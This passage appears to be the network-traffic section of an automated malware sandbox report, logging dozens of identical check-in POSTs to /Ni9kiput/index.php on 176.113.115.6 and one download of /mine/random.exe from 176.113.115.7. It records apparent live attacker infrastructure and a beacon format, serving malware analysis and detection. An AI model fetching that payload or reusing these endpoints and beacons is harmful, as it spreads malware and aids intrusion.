r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveHost: 176.113.115.7
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
